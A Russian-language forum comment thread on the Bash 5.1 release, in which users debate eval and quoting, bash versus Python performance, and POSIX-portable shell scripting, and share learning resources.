	Сообщение от Аноним (230), 08-Дек-20, 20:17
	Да, я отвлёкся. Без eval тут обойтись сложно, но я бы в принципе не стал решать задачу, в которой такое нужно, на шелле. Есть более подходящие языки, к которым есть удобные библиотеки (хоть биндинги для той же libmediainfo).
	Ответить | Правка | К родителю #116 | Наверх | Cообщить модератору

	179. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:37
	В баше с хэштейблами вполне норм скриптуется такая логика, без них не норм.
	Ответить | Правка | Наверх | Cообщить модератору

	134. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Урри (ok), 08-Дек-20, 17:22
	Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков. За последние года два ни разу не использовал eval.
	Ответить | Правка | К родителю #81 | Наверх | Cообщить модератору

	143. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 17:59
	Скрипты бывают разные. Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. Без eval это не осуществимо, или, во всяком случае, очень многие вещи без него не реализуемы в разумные сроки и с сохранением хоть какого-то удобства.
	Ответить | Правка | Наверх | Cообщить модератору

	160. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:45
	Другими словами говнокодинг всегда кажется быстрее. Делал парсер на eval, мне указали на ошыбку — переделал без eval и код стал даже гибче.
	Ответить | Правка | Наверх | Cообщить модератору

	167. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (16), 08-Дек-20, 20:13
	Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень много вариантов где $ или даже ! в тексте создаст тебе приключений и без eval. А ведь есть ещё extglob! В общем, eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а вот остальное уже не очень. И зачем переписывать то, что прекрасно работает?
	Ответить | Правка | Наверх | Cообщить модератору

	185. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 20:57
	> Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы > посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень > много вариантов где $ или даже ! в тексте создаст тебе > приключений и без eval. А ведь есть ещё extglob! В общем, > eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а > вот остальное уже не очень. И зачем переписывать то, что прекрасно > работает? Сам суди: https://forum.motofan.ru/index.php?s=&showtopic=163337&view=... https://forum.motofan.ru/index.php?s=&showtopic=163337&view=... ПС: eval это как наркотик.
	Ответить | Правка | Наверх | Cообщить модератору

	200. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (16), 08-Дек-20, 22:23
	Да, eval ради eval это тоже такое, просто есть ситуации где без него объективно никак.
	Ответить | Правка | Наверх | Cообщить модератору

	204. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 22:29
	> Да, eval ради eval это тоже такое, просто есть ситуации где без > него объективно никак. Можна короткий пример с коротким описанием?
	Ответить | Правка | Наверх | Cообщить модератору

	171. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 20:20
	> Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. Если ты пишешь интересную логику и динамические вычисления, для которых bash слишком ограниченный, и при этом ты привык к полноценным скриптовым языкам, какого чёрта ты используешь для этого bash?
	Ответить | Правка | К родителю #143 | Наверх | Cообщить модератору

	182. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:40
	Потому что могу? Как минимум интересно заменять по-максимуму привычную поизикс содомию башизмами, многие возможности открылись с тех пор как я начал это делать.
	Ответить | Правка | Наверх | Cообщить модератору

	107. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (103), 08-Дек-20, 16:05
	> Зато eval нужен очень часто, и ничего ты с этим не сделаешь. очень даже сделаешь eval ${VARNAME@Q}
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

	119. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 16:35
	Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего.
	Ответить | Правка | Наверх | Cообщить модератору

	195. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (195), 08-Дек-20, 21:40
	это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены
	Ответить | Правка | Наверх | Cообщить модератору

	248. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (248), 09-Дек-20, 06:40
	У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже.
	Ответить | Правка | К родителю #52 | Наверх | Cообщить модератору

	258. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 14:00
	У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу?
	Ответить | Правка | Наверх | Cообщить модератору

	268. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (268), 09-Дек-20, 15:19
	Не позволяет и поощряет это очень разные вещи.
	Ответить | Правка | Наверх | Cообщить модератору

	46. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
	Сообщение от Аноним (16), 08-Дек-20, 13:36
	До тех пор пока ты не начнёшь ежесекундно спамить тысячами процессов, да и с мультипоточностью пострадать придётся больше чем в питоне (там гил и гц мешают счастью).
	Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

	61. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (32), 08-Дек-20, 14:08
	Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине
	Ответить | Правка | Наверх | Cообщить модератору

	63. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 14:16
	> Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? А главное, сколько там было тредов? Когда большая часть времени исполнения уходит на паразитную нагрузку и "бесполезный" бойлерплейт (это что касается xargs и parallel), это всё же ощутимо.
	Ответить | Правка | Наверх | Cообщить модератору

	65. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (32), 08-Дек-20, 14:19
	>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? А питон так умеет?
	Ответить | Правка | Наверх | Cообщить модератору

	72. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 14:27
	>>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? > А питон так умеет? С процессами без проблем, параллелится на сотни (это то что я проверял). С тредами потолок будет раньше, совсем плохо будет если использовать pure python батарейки — там вообще не параллелится практически. Дело как раз в том, что питону не придётся нонстоп вызывать сотни-тысячи программ и ждать их завершения, он сам всё может. А структуры его куда более дружелюбны для данных, вон в шелле даже многомерного массива нет и приходится городить очень неприятные конструкции не эффективные по памяти.
	Ответить | Правка | Наверх | Cообщить модератору

	135. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Урри (ok), 08-Дек-20, 17:23
	Ну вот питон - сотни, а баш выше - тысячи. Комментарии, как говорится, излишни.
	Ответить | Правка | Наверх | Cообщить модератору

	142. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 17:49
	Проблема в том, что аналогичный код на баше захлебнётся много раньше, накладные расходы велики. Это не говоря о том, что написать _аналогичный_ код — практически анриал, проще и быстрее будет брать сразу си. А сотни только потому, что железо не позволяло скалировать дальше. Это были 100 вычислительных потоков, а не 1000 бесполезных внешних вызовов. За единицу времени получаем одну-три единицы вычисления на баше, или сотни на питоне (с полной загрузкой).
	Ответить | Правка | Наверх | Cообщить модератору

	150. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (16), 08-Дек-20, 18:32
	А кстати, мне тут понадобилось сложить пару чисел в баше. Ну такое, гигабайты чисел он не очень успешно ворочает. Даже очень неуспешно. И есть с десяток очевидных способов сделать это КРАЙНЕ не успешно. Хотя питон тоже не проверял, только numpy, но там и не пришлось так извращаться.
	Ответить | Правка | К родителю #135 | Наверх | Cообщить модератору

	263. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (263), 09-Дек-20, 14:37
	Числодробилки никто не пишет на интерпретаторах. Если брать интерпретатор, то сама числодробилка должна быть на сях/плюсах. Сам код может быть модулем для твоего интерпретатора (CPython, cffi и т.п.). И не потому что си быстрее, а потому что числа лежат на стеке, а не в куче. Гугли l1 cache speed vs ram.
	Ответить | Правка | Наверх | Cообщить модератору

	269. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 15:42
	А почему я не могу делать это на интерпретаторе? Да я протупил, за доли секунды складываются 300к значений в баше. Для сравнения сумма полутора миллиона значений тоже за доли секунды. Так что ты неправ, выходит.
	Ответить | Правка | Наверх | Cообщить модератору

	265. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 14:43
	>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? FYI https://github.com/gh0stwizard/yafb Там две ветки с разным подходом. Твой вопрос смешной, т.к. 2000 процессов, которые тупо складывают одно число убивают (ну раньше убивали) линукс полностью. Если не понял в чем суть вопроса, то ты make -j 10000 делаешь или как велят умные дяди make -j {кол-во ядер + 1}? Ок, даже если ты чутка в теме и скажешь, что это из-за disk i/o, то смотри линк выше, там нет никакого disk i/o.
	Ответить | Правка | К родителю #63 | Наверх | Cообщить модератору

	270. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 15:47
	Не делай вид, что не понял, о чём я. Никто не говорил о единовременном форкании, только о последовательном. Особенно ощутимо это в венде конечно, в линуксе с некоторых пор получше, но тоже не сахар.
	Ответить | Правка | Наверх | Cообщить модератору

	64. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (32), 08-Дек-20, 14:17
	Ещё бывает сами утилиты поддерживают параллельность, например sort и curl.
	Ответить | Правка | К родителю #46 | Наверх | Cообщить модератору

	130. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Нанобот (ok), 08-Дек-20, 17:16
	неправда. баш тормознутее питона на порядок. или на два порядка (не помню, давно мерял)
	Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

	161. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:48
	Сравни скорость утиилты gsed с, прости Господи, питоном. Именно про bunutils+sh идёт речь.
	Ответить | Правка | Наверх | Cообщить модератору

	173. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:22
	Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, find в 100 раз быстрее (на холодную так и вообще). А os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не баш, а си, сам баж тормозной и питон чаще всего быстрее чем вызов сишной утилиты из баша (миллион раз на каждое слово, например).
	Ответить | Правка | Наверх | Cообщить модератору

	189. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 21:11
	> Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, > find в 100 раз быстрее (на холодную так и вообще). А > os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не > баш, а си, сам баж тормозной и питон чаще всего быстрее > чем вызов сишной утилиты из баша (миллион раз на каждое слово, > например). а интерпретатор питона на чом написан?
	Ответить | Правка | Наверх | Cообщить модератору

	190. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 21:26
	Вроблема в "вызов", если бы сишный код можно было подключить в баш через ффи и не спамить процессами, он работал бы так же быстро, как и в питоне.
	Ответить | Правка | Наверх | Cообщить модератору

	197. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 21:48
	> Вроблема в "вызов", если бы сишный код можно было подключить в баш > через ффи и не спамить процессами, он работал бы так же > быстро, как и в питоне. Я это давно понял, тормозной Linux всё портит,  по этому практикую замену простых внешних утилит шеловским кодом, например тут: https://forum.motofan.ru/index.php?s=&showtopic=162200&view=... https://forum.motofan.ru/index.php?s=&showtopic=162200&view=...
	Ответить | Правка | Наверх | Cообщить модератору

	191. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 21:27
	А, ну и питон написан на питоне. И местами на си.
	Ответить | Правка | К родителю #189 | Наверх | Cообщить модератору

	192. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 21:29
	Интерпретатор там си (или уже плюсы не помню), только это отношения никакого не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.
	Ответить | Правка | К родителю #189 | Наверх | Cообщить модератору

	194. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 21:39
	> Интерпретатор там си (или уже плюсы не помню), только это отношения никакого > не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом. Дя, когда shell не может то звёт своих нативный дружков. :)
	Ответить | Правка | Наверх | Cообщить модератору

	174. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:24
	Регулярки в питоне кстати сишные, и более простые чем расширенный сед (а не расширенный оставьте себе). Ты точно меряешь корректно?
	Ответить | Правка | К родителю #161 | Наверх | Cообщить модератору

	209. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 22:47
	> Регулярки в питоне кстати сишные В Си есть регулярки? Вот это да! > и более простые чем расширенный сед Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).
	Ответить | Правка | Наверх | Cообщить модератору

	212. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 22:53
	>В Си есть регулярки? Вот это да! А на каком языке, по-твоему, написана libpcre? Конечно, есть, не всё же плюсами одними (плюсовая бтв понерфленная). >Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще). И даже atomic group нет! Фи.
	Ответить | Правка | Наверх | Cообщить модератору

	239. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 02:16
	Регулярки в питоне не более сишные чем весь питон, как бы. (И не менее, да.) > И даже atomic group нет! Как будто в седе есть. Там даже незахватывающей группировки нет.
	Ответить | Правка | Наверх | Cообщить модератору

	243. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 02:31
	Там есть pure python батарейки и есть сишные батарейки с сишной же производительностью. Питон код интерпретируется, и нейтив код не интерпретируется интерпретатором питона.
	Ответить | Правка | Наверх | Cообщить модератору

	244. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 02:32
	Хотя он может и взаимодествовать с интерпретатором. А ещё он может освобождать gil и всё остальное, из-за чего питон получает нехилый буст к производительности.
	Ответить | Правка | Наверх | Cообщить модератору

	159. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:38
	> Баш вместе с линукс утилитками производительнее питона получается. И времени на код > меньше уходит. А даш в большых скриптах в разы быстрее баша может быть, так может стоит с колеса вынуть ветку?
	Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

	220. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 00:36
	Ты близок к просветлению. Осталось понять, что есть awk.
	Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

	272. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 17:50
	А потом — то есть perl. А потом — что есть python, и дальше по кругу.
	Ответить | Правка | Наверх | Cообщить модератору

	277. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 21:58
	>А потом — то есть perl. Как перловик со стажем, ответственно заявляю, что бородатые дядьки, которые говорили, что awk решает 95% задач perl, были абсолютно правы. Да, на перле можно делать что-то сложнее, но в контексте скриптов, не _приложений_, awk намного удобнее, т.к. а) есть во всех системах б) стандартизированный (не нужно трахатся с вопросом а есть в _этой_ системе такой-то пакет) в) компактный г) законченный. Если вопрос стоит на чем писать _приложение_, то вариантов масса, факторов влияющих на решение задачи масса и решений масса. Опять же, из личного опыта, приложение писать скорее всего придется на чем-то сложнее чем awk, включая perl.
	Ответить | Правка | Наверх | Cообщить модератору

43. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от Аноним (43), 08-Дек-20, 13:26
ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать скрипты которые будут одинаково работать и под башем, и под zsh, и под чем угодно еще
Ответить | Правка | Наверх | Cообщить модератору

	53. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от Аноним (230), 08-Дек-20, 13:54
	Читай стандарт, тестируй скрипты в разных шеллах (как минимум dash и ksh). Самый надёжный способ. Если для начального изучения, то на русском выходила книжка Кочана и Вуда, может быть, ещё найдёшь в продаже.
	Ответить | Правка | Наверх | Cообщить модератору

	54. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (230), 08-Дек-20, 13:59
	> книжка Кочана и Вуда ISBN 978-5-9909445-3-4
	Ответить | Правка | Наверх | Cообщить модератору

	87. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:05
	>> которые будут одинаково работать и под башем Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	90. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 15:10
	Смысл в этом тот, что написанный тобой скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Ну если ты программист, то есть. Если админ, то смысла, может быть, и нет, тебе виднее.
	Ответить | Правка | Наверх | Cообщить модератору

	96. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:39
	Это понятно, насколько оно будет в итоге работать как надо, вот вопрос. Тот же баш не совместим между собой в зависимости от версии. Т.е. что лучше универсальный скрипт, возможно вызывающий проблемы или нативный баш, который можно доставить с большинстве случаев. Получается нужно учитывать зоопарк шелов и их версий, нет? А сложность скрипта и накладываемые ограничения? Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно. В общем, филькин труд.
	Ответить | Правка | Наверх | Cообщить модератору

	108. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от InuYasha (??), 08-Дек-20, 16:06
	Мой пример: на телевизоре нет bash, только sh. От линукса там практически только ядро. То же самое на андроеде, особенно в recovery. На самом деле, только в настольно-серверные Люляксы ваш баш и завезли. А больше - никуда.
	Ответить | Правка | Наверх | Cообщить модератору

	111. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:15
	Баш он не наш, а общий. В твоем случае не логично ли на sh и написать, чисто под девайсы?
	Ответить | Правка | Наверх | Cообщить модератору

	138. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Урри (ok), 08-Дек-20, 17:27
	Под ведроид есть фришный termux с башем и терминалами. Ставь и не парься.
	Ответить | Правка | К родителю #108 | Наверх | Cообщить модератору

	253. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от InuYasha (??), 09-Дек-20, 11:55
	> Под ведроид есть фришный termux с башем и терминалами. Ставь и не > парься. Ствалю. Только чем он при внешнем подключении поможет?
	Ответить | Правка | Наверх | Cообщить модератору

	120. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 16:36
	> универсальный скрипт, возможно вызывающий проблемы Если он вызывает проблемы, он не универсальный. > Получается нужно учитывать зоопарк шелов и их версий, нет? Нет. Как правило, достаточно придерживаться стандарта и не использовать то, что выходит за его рамки. > А сложность скрипта и накладываемые ограничения? Если скрипт получается слишком сложным, его лучше писать на другом языке. Шелл хорош для сравнительно простых вещей. > Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно. Ну, то есть, ты не программист, о чём я и писал. Программист зачастую знает очень мало о целевой системе и не имеет возможности повлиять на состав установленного на ней софта. Для контролируемых тобой систем, безусловно, можешь использовать, что тебе вздумается.
	Ответить | Правка | К родителю #96 | Наверх | Cообщить модератору

	165. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от nebularia (ok), 08-Дек-20, 20:01
	> скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Напрямую зависит от назначения скрипта. Если решает десктопные задачи, то баш там будет с вероятностью 99%. Оставшийся процент поставит, не облезет. Если потенциально возможно использование на серверах или в эмбеде, тогда да.
	Ответить | Правка | К родителю #90 | Наверх | Cообщить модератору

	110. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от псевдонимус (?), 08-Дек-20, 16:14
	За башизмы нужно яйца отрывать по самую шею.
	Ответить | Правка | К родителю #87 | Наверх | Cообщить модератору

	117. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:33
	Отрывать надо разрабу, когда происходит "опаньки" от желания угодить всем. Башизмы никого не интересуют, и в первую очередь пользователей.
	Ответить | Правка | Наверх | Cообщить модератору

	196. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (195), 08-Дек-20, 21:42
	ну оторви, попробуй
	Ответить | Правка | К родителю #110 | Наверх | Cообщить модератору

	199. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 22:05
	У вас, шапкорабов, уже и отрывать нечего. Все уже оторвано до нас.
	Ответить | Правка | Наверх | Cообщить модератору

	201. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (195), 08-Дек-20, 22:24
	метлу привяжи, когда с lfs-ником базаришь
	Ответить | Правка | Наверх | Cообщить модератору

	210. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 22:47
	С долбо..ом что-ли?
	Ответить | Правка | Наверх | Cообщить модератору

	122. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 16:41
	>>> которые будут одинаково работать и под башем > Какой в этом смысл, когда баш есть везде, но может быть не > установлен по умолчанию. Так он есть везде или не установлен?
	Ответить | Правка | К родителю #87 | Наверх | Cообщить модератору

	236. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от вынь любит вас во все девайсы (?), 09-Дек-20, 01:57
	Да.
	Ответить | Правка | Наверх | Cообщить модератору

	246. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 09-Дек-20, 05:10
	> Да. Есть везде, но его нет. Шелл Шредингера.
	Ответить | Правка | Наверх | Cообщить модератору

	216. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от OpenEcho (?), 08-Дек-20, 23:37
	> Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию. Смысл очень простой -> безопасность. Первое, что чаще всего делают взломщики используя зиро-дэй дыру, это запуск баша в режиме реверс консоли (т.к. баш спокойно говорит на языках TCP/UDP) и имееют по полной удаленную систему, которая как правило даже не заметит в логах конекты из баша. Поэтому уважающие свое время админы делают chmod 750 root:root /bin/bash /bin/gawk ... , a юзеров приучают быть ПОСИКС совместимыми разрешая им максимум /bin/sh
	Ответить | Правка | К родителю #87 | Наверх | Cообщить модератору

	106. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от InuYasha (??), 08-Дек-20, 16:04
	http://tldp.org/LDP/Bash-Beginners-Guide/html/index.html там вроде были оговорки, что в sh работает, а что - нет.
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	113. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от samsamy4 (ok), 08-Дек-20, 16:22
	Пиши скрипты на dash. Он максимально POSIX-совместимый. Ман у него маленький, вполне можно за пару часов освоить.
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	163. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:56
	Тогда уже на ash, в идеале busybox ash. Вот на днях столкнулся с dash несовместимостью: https://forum.motofan.ru/index.php?s=&showtopic=162200&view=...
	Ответить | Правка | Наверх | Cообщить модератору

	177. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 20:29
	Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, dash — урезанный форк ash, так что баги у них вполне могут быть общие. В-третьих, если баг и был, из твоих же слов следует, что он давно исправлен.
	Ответить | Правка | Наверх | Cообщить модератору

	181. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 20:39
	> Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, > dash — урезанный форк ash, так что баги у них вполне > могут быть общие. В-третьих, если баг и был, из твоих же > слов следует, что он давно исправлен. Мне тоже было неимоверно сложно в это поверить — больше года не верил пока не начал раскопки. dash имеет сообщение о завершении фонового процеса, а busybox ash нет. И да, исправлено костылём в скрипте всего лиш. ПС: разве ash развивает щас кто то?
	Ответить | Правка | Наверх | Cообщить модератору

	162. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:51
	> ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать > скрипты которые будут одинаково работать и под башем, и под zsh, > и под чем угодно еще Я тут начинал: https://forum.motofan.ru/index.php?showtopic=162200 =)
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	172. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (170), 08-Дек-20, 20:21
	Берёшь стандарт POSIX и читаешь. Он учится полностью за один вечер.
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	183. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (183), 08-Дек-20, 20:41
	https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	221. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (263), 09-Дек-20, 00:40
	Правильно будет сказать, что есть (ba)sh и есть ksh. Обычный sh почти во всех линуксах. На бсд-лайк системах (особенно на солярке) в системе только ksh. Я лично сам пишу под mksh, который как бы из мира ksh, но очень мнго взял из sh. При этом по скорости опережает здесь рекламируемый dash.
	Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

	264. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 14:42
	Ты бредишь. Классический sh — это Борн шелл. И ksh к нему намного ближе, чем нынешний bash. Но все они из одной оперы, дугой лагерь — это csh и его вариации, столь любимые в FreeBSD.
	Ответить | Правка | Наверх | Cообщить модератору

47. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
Сообщение от Иваня (?), 08-Дек-20, 13:38
крут, подскажите плз как накатить эту версию на убунту 18 :/
Ответить | Правка | Наверх | Cообщить модератору

	104. "Релиз командного интерпретатора Bash 5.1"	+8 +/–
	Сообщение от Led (ok), 08-Дек-20, 16:01
	Да ты уже и так накатил...
	Ответить | Правка | Наверх | Cообщить модератору

	132. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
	Сообщение от Нанобот (ok), 08-Дек-20, 17:18
	совсем линуксоиды деградировали... wget https://ftp-gnu-org.ip-connect.vn.ua/bash/bash-5.1.tar.gz tar xzvf bash-5.1.tar.gz cd bash-5.1 ./configure make make install
	Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

	164. "Релиз командного интерпретатора Bash 5.1"	–3 +/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:58
	Это ж убунтята, они без соски и диск не разметят.
	Ответить | Правка | Наверх | Cообщить модератору

57. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от YetAnotherOnanym (ok), 08-Дек-20, 14:05
Понимаю, что выгляжу ретроградом, но весь этот улучшайзинг чреват обильными матюками, если в хозяйстве имеются машины с разными версиями скорлупы.
Ответить | Правка | Наверх | Cообщить модератору

	62. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (230), 08-Дек-20, 14:14
	Бери пример с анонима выше, изучай POSIX shell.
	Ответить | Правка | Наверх | Cообщить модератору

86. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
Сообщение от псевдонимус (?), 08-Дек-20, 14:59
